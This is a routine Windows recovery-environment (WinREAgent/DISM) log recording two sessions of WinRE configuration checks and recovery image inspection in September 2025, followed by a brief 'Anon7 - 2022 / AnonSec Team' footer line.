2025-09-14 03:58:54, Info                         LogSession: Starting a new log session at [C:\Windows\Logs\WinREAgent]
2025-09-14 03:58:54, Info                         [WaaSMedicAgent.exe] Enter WinReGetConfig
2025-09-14 03:58:54, Info                         [WaaSMedicAgent.exe] Parameters: configWinDir: NULL
2025-09-14 03:58:54, Info                         [WaaSMedicAgent.exe] WinRE config file path: C:\WINDOWS\system32\Recovery\ReAgent.xml
2025-09-14 03:58:54, Info                         [WaaSMedicAgent.exe] Update enhanced config info is enabled.
2025-09-14 03:58:54, Info                         [WaaSMedicAgent.exe] WinRE is installed
2025-09-14 03:58:54, Info                         [WaaSMedicAgent.exe] WinRE is installed at: \\?\GLOBALROOT\device\harddisk0\partition2\Recovery\WindowsRE
2025-09-14 03:58:54, Info                         [WaaSMedicAgent.exe] System is WimBoot: FALSE
2025-09-14 03:58:54, Info                         [WaaSMedicAgent.exe] WinRE image validated
2025-09-14 03:58:54, Info                         [WaaSMedicAgent.exe] Exit WinReGetConfig return value: 1, last error: 0x0
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 DismApi.dll:                                            - DismInitializeInternal
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 DismApi.dll: <----- Starting DismApi.dll session -----> - DismInitializeInternal
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 DismApi.dll:                                            - DismInitializeInternal
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 DismApi.dll: Host machine information: OS Version=10.0.19045, Running architecture=amd64, Number of processors=4 - DismInitializeInternal
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 DismApi.dll: API Version 10.0.19041.5794 - DismInitializeInternal
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 DismApi.dll: Parent process command line: C:\WINDOWS\System32\WaaSMedicAgent.exe 2657417988e9355dc1ae83ffcf17e8b8 dNyjIX22Nki8/vRI.0.0.0 - DismInitializeInternal
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 Enter DismInitializeInternal - DismInitializeInternal
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 Input parameters: LogLevel: 2, LogFilePath: C:\Windows\Logs\WinREAgent\setupact.log, ScratchDirectory: (null) - DismInitializeInternal
2025-09-14 03:58:54, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 Initialized GlobalConfig - DismInitializeInternal
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 Initialized SessionTable - DismInitializeInternal
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 Lookup in table by path failed for: DummyPath-2BA51B78-C7F7-4910-B99D-BB7345357CDC - CTransactionalImageTable::LookupImagePath
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 Waiting for m_pInternalThread to start - CCommandThread::Start
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=2064 Enter CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=2064 Enter CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 CommandThread StartupEvent signaled - CCommandThread::WaitForStartup
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 m_pInternalThread started - CCommandThread::Start
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 Created g_internalDismSession - DismInitializeInternal
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 Leave DismInitializeInternal - DismInitializeInternal
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 Enter DismGetImageInfoInternal - DismGetImageInfoInternal
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 Input parameters: ImageFilePath: \\?\GLOBALROOT\device\harddisk0\partition2\Recovery\WindowsRE\winre.wim - DismGetImageInfoInternal
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=8320 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=2064 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-09-14 03:58:54, Info                  DISM   API: PID=1044 TID=2064 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-09-14 03:58:54, Info                  DISM   PID=1044 TID=2064 Scratch directory set to 'C:\WINDOWS\TEMP\'. - CDISMManager::put_ScratchDir
2025-09-14 03:58:54, Info                  DISM   PID=1044 TID=2064 DismCore.dll version: 10.0.19041.3636 - CDISMManager::FinalConstruct
2025-09-14 03:58:54, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-14 03:58:54, Info                  DISM   PID=1044 TID=2064 Successfully loaded the ImageSession at "C:\WINDOWS\SYSTEM32\Dism" - CDISMManager::LoadLocalImageSession
2025-09-14 03:58:54, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-14 03:58:54, Info                  DISM   DISM Provider Store: PID=1044 TID=2064 Found and Initialized the DISM Logger. - CDISMProviderStore::Internal_InitializeLogger
2025-09-14 03:58:54, Info                  DISM   DISM Provider Store: PID=1044 TID=2064 Failed to get and initialize the PE Provider.  Continuing by assuming that it is not a WinPE image. - CDISMProviderStore::Final_OnConnect
2025-09-14 03:58:54, Info                  DISM   DISM Provider Store: PID=1044 TID=2064 Finished initializing the Provider Map. - CDISMProviderStore::Final_OnConnect
2025-09-14 03:58:54, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-14 03:58:54, Info                  DISM   DISM Manager: PID=1044 TID=2064 Successfully created the local image session and provider store. - CDISMManager::CreateLocalImageSession
2025-09-14 03:58:54, Info                  DISM   DISM Provider Store: PID=1044 TID=2064 Connecting to the provider located at C:\WINDOWS\SYSTEM32\Dism\ImagingProvider.dll. - CDISMProviderStore::Internal_LoadProvider
2025-09-14 03:58:54, Info                  DISM   DISM Imaging Provider: PID=1044 TID=2064 WIM image specified - CGenericImagingManager::GetImageInfoCollection
2025-09-14 03:58:54, Info                  DISM   DISM Provider Store: PID=1044 TID=2064 Connecting to the provider located at C:\WINDOWS\SYSTEM32\Dism\WimProvider.dll. - CDISMProviderStore::Internal_LoadProvider
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=8320 Leave DismGetImageInfoInternal - DismGetImageInfoInternal
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=8320 Enter DismDeleteInternal - DismDeleteInternal
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=8320 Leave DismDeleteInternal - DismDeleteInternal
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=8320 Enter DismShutdownInternal - DismShutdownInternal
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=8320 GetReferenceCount hr: 0x0 - CSessionTable::RemoveSession
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=8320 Refcount for DismSession= 1s 0 - CSessionTable::RemoveSession
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=8320 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=2064 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=2064 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=2064 ExecuteLoop: Cancel signaled - CCommandThread::ExecuteLoop
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=2064 Leave CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-09-14 03:58:55, Info                  DISM   DISM Provider Store: PID=1044 TID=2064 Found the OSServices.  Waiting to finalize it until all other providers are unloaded. - CDISMProviderStore::Final_OnDisconnect
2025-09-14 03:58:55, Info                  DISM   DISM Provider Store: PID=1044 TID=2064 Disconnecting Provider: WimManager - CDISMProviderStore::Internal_DisconnectProvider
2025-09-14 03:58:55, Info                  DISM   DISM Provider Store: PID=1044 TID=2064 Disconnecting Provider: GenericImagingManager - CDISMProviderStore::Internal_DisconnectProvider
2025-09-14 03:58:55, Info                  DISM   DISM Provider Store: PID=1044 TID=2064 Releasing the local reference to DISMLogger.  Stop logging. - CDISMProviderStore::Internal_DisconnectProvider
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=2064 Leave CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=8320 Deleted g_internalDismSession - DismShutdownInternal
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=8320 Shutdown SessionTable - DismShutdownInternal
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=8320 Leave DismShutdownInternal - DismShutdownInternal
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=8320 DismApi.dll:                                          - DismShutdownInternal
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=8320 DismApi.dll: <----- Ending DismApi.dll session -----> - DismShutdownInternal
2025-09-14 03:58:55, Info                  DISM   API: PID=1044 TID=8320 DismApi.dll:                                          - DismShutdownInternal
2025-09-14 03:58:55, Info                         LogSession: Starting a new log session at [C:\Windows\Logs\WinREAgent]
2025-09-14 03:58:55, Info                         [WaaSMedicAgent.exe] Enter WinReGetConfig
2025-09-14 03:58:55, Info                         [WaaSMedicAgent.exe] Parameters: configWinDir: NULL
2025-09-14 03:58:55, Info                         [WaaSMedicAgent.exe] WinRE config file path: C:\WINDOWS\system32\Recovery\ReAgent.xml
2025-09-14 03:58:55, Info                         [WaaSMedicAgent.exe] Update enhanced config info is enabled.
2025-09-14 03:58:55, Info                         [WaaSMedicAgent.exe] WinRE is installed
2025-09-14 03:58:55, Info                         [WaaSMedicAgent.exe] WinRE is installed at: \\?\GLOBALROOT\device\harddisk0\partition2\Recovery\WindowsRE
2025-09-14 03:58:55, Info                         [WaaSMedicAgent.exe] System is WimBoot: FALSE
2025-09-14 03:58:55, Info                         [WaaSMedicAgent.exe] WinRE image validated
2025-09-14 03:58:55, Info                         [WaaSMedicAgent.exe] Exit WinReGetConfig return value: 1, last error: 0x0
2025-09-14 03:58:55, Info                         WinRE partition total space [541061120], free space [86523904]
2025-09-15 05:41:20, Info                         LogSession: Starting a new log session at [C:\Windows\Logs\WinREAgent]
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] Enter WinReGetConfig
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] Parameters: configWinDir: NULL
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] WinRE config file path: C:\WINDOWS\system32\Recovery\ReAgent.xml
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] Update enhanced config info is enabled.
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] WinRE is installed
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] WinRE is installed at: \\?\GLOBALROOT\device\harddisk0\partition2\Recovery\WindowsRE
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] System is WimBoot: FALSE
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] WinRE image validated
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] Exit WinReGetConfig return value: 1, last error: 0x0
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 DismApi.dll:                                            - DismInitializeInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 DismApi.dll: <----- Starting DismApi.dll session -----> - DismInitializeInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 DismApi.dll:                                            - DismInitializeInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 DismApi.dll: Host machine information: OS Version=10.0.19045, Running architecture=amd64, Number of processors=4 - DismInitializeInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 DismApi.dll: API Version 10.0.19041.5794 - DismInitializeInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 DismApi.dll: Parent process command line: C:\WINDOWS\System32\WaaSMedicAgent.exe 982e8688bfc9403cf6605accfe716418 mr2kYjhkl0Cb5ALBNl+Hqg.0.1.0.0.0 - DismInitializeInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Enter DismInitializeInternal - DismInitializeInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Input parameters: LogLevel: 2, LogFilePath: C:\Windows\Logs\WinREAgent\setupact.log, ScratchDirectory: (null) - DismInitializeInternal
2025-09-15 05:41:20, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Initialized GlobalConfig - DismInitializeInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Initialized SessionTable - DismInitializeInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Lookup in table by path failed for: DummyPath-2BA51B78-C7F7-4910-B99D-BB7345357CDC - CTransactionalImageTable::LookupImagePath
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Waiting for m_pInternalThread to start - CCommandThread::Start
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6864 Enter CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6864 Enter CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 CommandThread StartupEvent signaled - CCommandThread::WaitForStartup
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 m_pInternalThread started - CCommandThread::Start
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Created g_internalDismSession - DismInitializeInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Leave DismInitializeInternal - DismInitializeInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Enter DismGetImageInfoInternal - DismGetImageInfoInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Input parameters: ImageFilePath: \\?\GLOBALROOT\device\harddisk0\partition2\Recovery\WindowsRE\winre.wim - DismGetImageInfoInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6864 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6864 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-09-15 05:41:20, Info                  DISM   PID=1692 TID=6864 Scratch directory set to 'C:\WINDOWS\TEMP\'. - CDISMManager::put_ScratchDir
2025-09-15 05:41:20, Info                  DISM   PID=1692 TID=6864 DismCore.dll version: 10.0.19041.3636 - CDISMManager::FinalConstruct
2025-09-15 05:41:20, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-15 05:41:20, Info                  DISM   PID=1692 TID=6864 Successfully loaded the ImageSession at "C:\WINDOWS\SYSTEM32\Dism" - CDISMManager::LoadLocalImageSession
2025-09-15 05:41:20, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-15 05:41:20, Info                  DISM   DISM Provider Store: PID=1692 TID=6864 Found and Initialized the DISM Logger. - CDISMProviderStore::Internal_InitializeLogger
2025-09-15 05:41:20, Info                  DISM   DISM Provider Store: PID=1692 TID=6864 Failed to get and initialize the PE Provider.  Continuing by assuming that it is not a WinPE image. - CDISMProviderStore::Final_OnConnect
2025-09-15 05:41:20, Info                  DISM   DISM Provider Store: PID=1692 TID=6864 Finished initializing the Provider Map. - CDISMProviderStore::Final_OnConnect
2025-09-15 05:41:20, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\WinREAgent\setupact.log
2025-09-15 05:41:20, Info                  DISM   DISM Manager: PID=1692 TID=6864 Successfully created the local image session and provider store. - CDISMManager::CreateLocalImageSession
2025-09-15 05:41:20, Info                  DISM   DISM Provider Store: PID=1692 TID=6864 Connecting to the provider located at C:\WINDOWS\SYSTEM32\Dism\ImagingProvider.dll. - CDISMProviderStore::Internal_LoadProvider
2025-09-15 05:41:20, Info                  DISM   DISM Imaging Provider: PID=1692 TID=6864 WIM image specified - CGenericImagingManager::GetImageInfoCollection
2025-09-15 05:41:20, Info                  DISM   DISM Provider Store: PID=1692 TID=6864 Connecting to the provider located at C:\WINDOWS\SYSTEM32\Dism\WimProvider.dll. - CDISMProviderStore::Internal_LoadProvider
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Leave DismGetImageInfoInternal - DismGetImageInfoInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Enter DismDeleteInternal - DismDeleteInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Leave DismDeleteInternal - DismDeleteInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Enter DismShutdownInternal - DismShutdownInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 GetReferenceCount hr: 0x0 - CSessionTable::RemoveSession
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Refcount for DismSession= 1s 0 - CSessionTable::RemoveSession
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6864 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6864 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6864 ExecuteLoop: Cancel signaled - CCommandThread::ExecuteLoop
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6864 Leave CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-09-15 05:41:20, Info                  DISM   DISM Provider Store: PID=1692 TID=6864 Found the OSServices.  Waiting to finalize it until all other providers are unloaded. - CDISMProviderStore::Final_OnDisconnect
2025-09-15 05:41:20, Info                  DISM   DISM Provider Store: PID=1692 TID=6864 Disconnecting Provider: WimManager - CDISMProviderStore::Internal_DisconnectProvider
2025-09-15 05:41:20, Info                  DISM   DISM Provider Store: PID=1692 TID=6864 Disconnecting Provider: GenericImagingManager - CDISMProviderStore::Internal_DisconnectProvider
2025-09-15 05:41:20, Info                  DISM   DISM Provider Store: PID=1692 TID=6864 Releasing the local reference to DISMLogger.  Stop logging. - CDISMProviderStore::Internal_DisconnectProvider
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6864 Leave CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Deleted g_internalDismSession - DismShutdownInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Shutdown SessionTable - DismShutdownInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 Leave DismShutdownInternal - DismShutdownInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 DismApi.dll:                                          - DismShutdownInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 DismApi.dll: <----- Ending DismApi.dll session -----> - DismShutdownInternal
2025-09-15 05:41:20, Info                  DISM   API: PID=1692 TID=6600 DismApi.dll:                                          - DismShutdownInternal
2025-09-15 05:41:20, Info                         LogSession: Starting a new log session at [C:\Windows\Logs\WinREAgent]
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] Enter WinReGetConfig
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] Parameters: configWinDir: NULL
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] WinRE config file path: C:\WINDOWS\system32\Recovery\ReAgent.xml
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] Update enhanced config info is enabled.
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] WinRE is installed
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] WinRE is installed at: \\?\GLOBALROOT\device\harddisk0\partition2\Recovery\WindowsRE
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] System is WimBoot: FALSE
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] WinRE image validated
2025-09-15 05:41:20, Info                         [WaaSMedicAgent.exe] Exit WinReGetConfig return value: 1, last error: 0x0
2025-09-15 05:41:20, Info                         WinRE partition total space [541061120], free space [86523904]

Anon7 - 2022
AnonSec Team